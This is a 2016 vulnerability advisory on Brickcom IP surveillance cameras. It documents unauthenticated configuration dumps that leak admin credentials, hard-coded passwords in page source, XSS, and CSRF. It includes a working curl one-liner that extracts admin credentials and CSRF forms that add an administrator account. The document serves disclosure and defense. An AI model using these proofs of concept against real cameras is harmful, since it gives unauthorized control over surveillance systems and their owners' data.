_ _ _       _
                        | | | |     | |
  ___  _ ____      _____| | | | __ _| |__  ___
 / _ \| '__\ \ /\ / / _ \ | | |/ _` | '_ \/ __|
| (_) | |   \ V  V /  __/ | | | (_| | |_) \__ \
 \___/|_|    \_/\_/ \___|_|_|_|\__,_|_.__/|___/
 
 
Security Adivisory
   2016-04-12
                www.orwelllabs.com
                  twt:@orwelllabs
 
 
                                   sm1thw@0rw3lll4bs:~/bb# ./Bruce.S
                                   [+] surveillance is the business model
of the internet - OK!
                                   sm1thw@0rw3lll4bs:~/bb# echo $?
                                   6079
 
 
 
 
Adivisory Information
=====================
Vendor: Brickcom Corporation
CVE-Number:N/A
Adivisory-URL:
https://www.orwelllabs.com/2016/04/Brickcom-Multiple-Vulnerabilities.html
OLSA-ID: OLSA-2015-12-12
Impact: High (especially because some of these products are used in
critical environments.)
Remote: Yes
 
 
 
          p4n0pt1c0n
 
I.   Insecure Direct Object Reference/Authentication Bypass
II.  Sensitive information in plaintext
III. Hard-coded Credentials
IV.  Cross-site scripting
V.   Basic Authentication
VI.  Cross-site Request Forgery
 
 
 
 
Background
----------
Brickcom (calls itself) as a "leading network video manufacturer in the IP
surveillance industry.
Dedicated to providing the best IP surveillance solutions with a solid
foundation for engineering
quality network video equipment with a Research and Development Department
that has been producing
wireless broadband networking equipment for over twenty years."
 
These products are used as video surveillance system by costumers and
important sectors such as the Thai 4ir F0rce, as can be seen on the
Vendor's web site.
 
* notes:
 
- some firmwares affected (item 'affected products' are very recent, having
been launched
a few months ago, and still vulnerable ... so this is an structural/legacy
problem.
 
- sensitive information presented in this advisory are fake.
 
 
 
I. Insecure Direct Object Reference/Authentication Bypass
---------------------------------------------------------
(+) affected scripts
- configfile.dump
      - syslog.dump
 
 
Path: Maintenance -> Configuration -> 'Export'
 
+ configfile.dump
 
An unauthenticated GET request to the script "configfile.dump", as follows:
   https://xxx.xxx.xxx.xxx/configfile.dump?action=get
 
or like this
 
   https://xxx.xxx.xxx.xxx/configfile.dump.backup
   https://xxx.xxx.xxx.xxx/configfile.dump.gz
 
or just
   https://xxx.xxx.xxx.xxx/configfile.dump
 
returns all camera settings
 
[..code_snip..]
 
   DeviceBasicInfo.firmwareVersion=v3.0.6.12
   DeviceBasicInfo.macAddress=00:00:00:00:00:00
   DeviceBasicInfo.sensorID=OV9X11
   DeviceBasicInfo.internalName=Brickcom
   DeviceBasicInfo.productName=Di-1092AX
   DeviceBasicInfo.displayName=CB-1092AX
   DeviceBasicInfo.modelNumber=XXX
   DeviceBasicInfo.companyName=Brickcom Corporation
   DeviceBasicInfo.comments=[CUBE HD IPCam STREEDM]
   DeviceBasicInfo.companyUrl=www.brickcom.com
   DeviceBasicInfo.serialNumber=AXNB02B211111
   DeviceBasicInfo.skuType=LIT
   DeviceBasicInfo.ledIndicatorMode=1
   DeviceBasicInfo.minorFW=1
   DeviceBasicInfo.hardwareVersion=
   DeviceBasicInfo.PseudoPDseProdNum=P3301
   AudioDeviceSetting.muted=0
 
[..code_snip..]
 
and all credentials including the administrator account, like this:
 
 
UserSetSetting.userList.size=2
UserSetSetting.userList.users0.index=0
UserSetSetting.userList.users0.password=MyM4st3rP4ss   <<<--- admin pass
UserSetSetting.userList.users0.privilege=1
UserSetSetting.userList.users0.username=Cam_User       <<<--- admin user
UserSetSetting.userList.users1.index=0
UserSetSetting.userList.users1.password=C0mm0mP4ss     <<<--- (commom) user
pass
UserSetSetting.userList.users1.privilege=1
UserSetSetting.userList.users1.username=User_name      <<<--- (commom)
username
UserSetSetting.userList.users2.index=0
UserSetSetting.userList.users2.password=[..code_snip..]
  [snip]
BasicNetworkSetting.pppoe.password=                   <<<--- ppoe user
BasicNetworkSetting.pppoe.username=                   <<<--- ppoe pass
UPnPSetting.enabled=1
UPnPSetting.name=CB-102Ap-1ffc3
Brickcom.enabled=1
DDNSSetting.dyndnsEnabled=0
DDNSSetting.dyndns.wildcardEnabled=0
DDNSSetting.dyndns.username=                         <<<--- dyndns user
DDNSSetting.dyndns.password=                         <<<--- dyndns password
DDNSSetting.dyndns.hostname=
DDNSSetting.tzodnsEnabled=0
DDNSSetting.tzodns.wildcardEnabled=0
DDNSSetting.tzodns.username=                         <<<--- and here...
DDNSSetting.tzodns.password=                         <<<--- here....
DDNSSetting.tzodns.hostname=
DDNSSetting.noipdnsEnabled=0
DDNSSetting.noipdns.wildcardEnabled=0
DDNSSetting.noipdns.username=                        <<<--- here
DDNSSetting.noipdns.password=                        <<<--- here
DDNSSetting.noipdns.hostname=
and many others...
 
- Path: System -> System Log -> 'Save to File'
 
+ syslog.dump
 
- Request:
(unauthenticated) GET https://xxx.xxx.xxx.xxx/syslog.dump?action=get
 
- Response:
[..code_snip..]
 
LOG_NOTICE-WebServer :User '[admin]' logged in to [web server], Sat Mar 1
21:13:36 2014
LOG_NOTICE-WebServer :User '[admin]' logged in to [web server], Sat Mar 1
21:11:02 2014
 
[..code_snip..]
 
 
Proof of Concept
`````````````````
Online Bash exploit-p0c:
curl -s -O https://xxx.xxx.xxx.xxx/configfile.dump && grep "users0"
configfile.dump|awk '{ FS="."; } { print $4; }' || echo -e "[-] The target
seems not be vulnerable, Mr. Robot! \n"
 
IF target (xxx.xxx.xxx.xxx) is vulnerable the exploit will show a username,
password and privilege level (1:admin), like this:
 
password=4adm1niS3cr3tP4ss
privilege=1
username=BrickcomADMIN
 
and a configfile.dump with all credentials, settings, etc. will be recorded
locally.
IF not vulnerable, you'll see the message:
 
 "[-] The target seems not bet vulnerable, Mr. Robot!"
 
 
II. sensitive information in plaintext
--------------------------------------
As shown, there are countless cases where credentials and other sensitive
information are store in plaintext.
 
 
III. Hard-coded Credentials
---------------------------
All credentials and other sensitive information can be found in html page
user_management_config.html,
Just viewing the html source code:
 
view-source:https://{xxx.xxx.xxx.xxx}/user_management_config.html
 
<script type="text/javascript">
var Edit_id="";
var userSet_size="5"
var User_index=new Array(10);
var User_username=new Array(10);
var User_password=new Array(10);
var User_privilege=new Array(10);
 
User_index[0]="1";
User_username[0]="admin"; <<<----
User_password[0]="admin"; <<<----
User_privilege[0]="1";
 
User_index[1]="2";
User_username[1]="masteruser"; <<<----
User_password[1]="masterP4sss1*"; <<<----
User_privilege[1]="0";
 
 
IV. Cross-site scripting
------------------------
(+) Script: /cgi-bin/NotificationTest.cgi
(+) Param: action=
 
 
REQUEST: https://xxx.xxx.xxx.xxx/cgi-bin/NotificationTest.cgi?action=[ **
XSS
**]&addressType=&hostname=h0stn4mE&ipAddress=xxx.xxx.xxxx.xxx&ipv6Address=&portNo=&accountName=brickcom&password=brickcom&ShareDIR=
 
 
V. Basic Authentication
-----------------------
The response asks the user to enter credentials for Basic HTTP
authentication.
If these are supplied, they will be submitted over clear-text HTTP (in
Base64-encoded form).
 
 
V. Cross-site Request Forgery
-----------------------------
# To add an administrative credential: "brickcom:brickcom"
 
> Privilege levels:
- visor : 0
- admin : 1
- visor remoto : 2
 
 
<html>
  <!-- Brickcom FB-100Ae IP Box Camera- CSRF PoC -->
  <body>
    <form action="https://{xxx.xxx.xxx.xxx}/cgi-bin/users.cgi" method="POST">
      <input type="hidden" name="action" value="add" />
      <input type="hidden" name="index" value="0" />
      <input type="hidden" name="username" value="brickcom" />
      <input type="hidden" name="password" value="brickcom" />
      <input type="hidden" name="privilege" value="1" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>
 
 
# to remove this credential:
 
<html>
  <!-- Brickcom FB-100Ae IP Box Camera- CSRF PoC -->
  <body>
    <form action="https://{xxx.xxx.xxx.xxx}/cgi-bin/users.cgi" method="POST">
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="username" value="brickcom" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>
 
 
affected products
-----------------
(+) various products, including models:
 
  Brickcom FB-100Ae IP Box Camera - Firmware Version: v3.0.6.12
(release:09/08/2010 14:46)
  Brickcom WCB-100Ap Wireless Camera - Firmware Version: v3.0.6.26
(release:01/21/2011 18:31)
 
  Vandal Dome Cameras
  -------------------
  Brickcom VD-202Ne Vandal Dome Camera - Firmware Version: v37019_Promise
(release:2015-10-01_18:46:07)
  Brickcom VD-300Np Vandal Dome Camera - Firmware Version: v3.7.0.23T
(release:2016-03-21_10:08:24)
  Brickcom VD-E200Nf Vandal Dome Camera - Firmware Version: v3.7.0.5T
(release:2015-06-25_11:18:07)
 
  Bullet Cameras
  --------------
  Brickcom OB-202Ne Bullet Camera - Firmware Version: v3.7.0.18R
(release:2015-09-08_18:40:11)
  Brickcom OB-E200Nf Bullet Camera - Firmware Version: v3.7.0.18.3R
(release:2015-10-16_11:36:46)
  Brickcom OB-200Np-LR Bullet Camera - Firmware Version: v3.7.0.18.3R
(release:2015-10-15_11:30:46)
  Brickcom OB-500Ap Bullet Camera - Firmware Version: v3.7.0.1cR
(release:2016-01-18_10:07:03)
  Brickcom GOB-300Np Bullet Camera (Unique Series) - Firmware Version:
v3.7.0.17A (release: 2015-07-10_11:36:41)
  Brickcom OB-200Np-LR Bullet Camera (Unique Series) - Firmware Version:
v3.7.0.18.3R (release: 2015-10-15_11:30:46)
 
 
  Mini Dome Camera
  ----------------
  Brickcom MD-300Np Mini Dome Camera - Firmware Version: v3.2.2.8
(release:2013-08-01)
 
 
  Cube Camera
  -----------
  Brickcom CB-102Ae V2 Cube Camera - Firmware Version: v3.0.6.12 (release:
09/07/2010 11:45)
 
 
  Fixed Dome Camera
  -----------------
  Brickcom FD-202Ne Fixed Dome Camera - Firmware Version:v3.7.0.17R
(release: 2015-08-19_18:47:31)
 
 
Legal Notices
+++++++++++++
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of
this information.
 
 
Timeline
++++++++
2015-03-20  - Issues discovered
2015-03-30  - attempt to contact Vendor
2015-12-12  - attempt to assign CVE
2016-04-12  - Not easy way to contact vendor, (ON Twitter) the last tweet
was 2011-01-31...
2016-04-14  - Full disclosure
 
 
About Orwelllabs
++++++++++++++++
Orwelllabs is a (doubleplusungood) security research lab interested in
embedded device & webapp hacking &&
aims to create some intelligence around this vast and confusing picture
that is the Internet of things.
 
 
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